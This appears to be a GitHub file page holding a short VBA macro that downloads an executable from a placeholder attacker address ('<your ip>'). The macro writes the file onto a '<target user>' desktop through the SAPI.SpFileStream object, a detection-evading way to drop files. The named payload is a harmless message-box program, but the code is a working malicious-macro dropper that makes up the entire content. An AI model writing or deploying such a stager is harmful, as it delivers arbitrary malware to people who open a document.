-
Notifications
You must be signed in to change notification settings - Fork 1
Expand file tree
/
Copy pathmacro.vba
More file actions
18 lines (16 loc) · 692 Bytes
/
macro.vba
File metadata and controls
18 lines (16 loc) · 692 Bytes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
'VBA macro to download and write HelloWorldMsgBox.exe as binary
Sub run()
remotefile = "http://<your ip>/HelloWorldMsgBox.exe"
Set HTTPReq = CreateObject("Microsoft.XMLHTTP")
HTTPReq.Open "GET", remotefile, False
HTTPReq.send
Set objFSTRM = CreateObject("SAPI.SpFileStream.1")
Call objFSTRM.Open("C:\\Users\\<target user>\\Desktop\\test.exe", 3, False)
Call objFSTRM.Write("Mom's spaghetti")
Call objFSTRM.Close
Set objFSTRM = CreateObject("SAPI.SpFileStream.1")
Call objFSTRM.Open("C:\\Users\\<target user>\\Desktop\\test.exe", 1, False)
Call objFSTRM.Seek(0, 0)
Call objFSTRM.Write(HTTPReq.responseBody)
Call objFSTRM.Close
End Sub